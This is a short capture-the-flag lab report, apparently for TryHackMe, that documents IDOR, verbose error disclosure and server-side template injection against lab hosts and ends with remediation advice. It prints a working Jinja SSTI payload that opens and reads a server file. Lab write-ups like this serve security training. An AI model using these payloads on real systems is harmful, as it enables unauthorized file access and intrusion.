Standard: OWASP Top 10 Framework
Prepared By: MD. Ridoy Hossain
Status: Completed
A comprehensive Web Application Vulnerability Assessment was conducted to evaluate target endpoints against real-world threats. The assessment strictly adhered to OWASP Top 10 standards.
Three key vulnerabilities were identified: IDOR, Verbose Error Disclosure, and SSTI.
| ID | Vulnerability Name | Category | Severity |
|---|---|---|---|
| VULN-01 | IDOR | Access Control | High |
| VULN-02 | Verbose Error Disclosure | Misconfiguration | Medium |
| VULN-03 | Template Injection (SSTI) | Injection | Critical |
- Vulnerability Type: IDOR
- OWASP Category: Broken Access Control
- Severity: High
- Target Endpoint:
https://bank.thm/accounts?id={account_id}
- Baseline URL:
https://bank.thm/accounts?id=5 - Tampered parameter from
5to7:GET /accounts?id=7 HTTP/1.1 Host: bank.thm
- Retrieved flag:
THM{Found.the.Millionare!}
- Vulnerability Type: Improper Error Handling
- OWASP Category: Security Misconfiguration
- Severity: Medium
- Target Endpoint:
http://10.49.156.23:5002/api/user/{user_id}
- Standard request:
GET /api/user/123 - Non-numeric payload:
GET /api/user/L - Leaked stack trace and flag:
THM{V3RB0S3_3RR0R_L34K}
- Vulnerability Type: SSTI
- OWASP Category: Injection
- Severity: Critical
- Target Endpoint:
http://10.49.156.23:8000
- Tested evaluation:
{{7*7}}(Rendered49) - Exploited via multi-line Python reflection payload:
{{ request.application .__globals__ .__builtins__ .open('flag.txt').read() }} - Extracted flag:
THM{SSTI_FLAG_OBTAINED}
- Access Control: Enforce object-level authorization using secure UUIDs.
- Error Handling: Disable debug mode in production environments.
- Template Security: Use static template rendering via
render_template().
MD. Ridoy Hossain
Cybersecurity Specialist & Ethical Hacker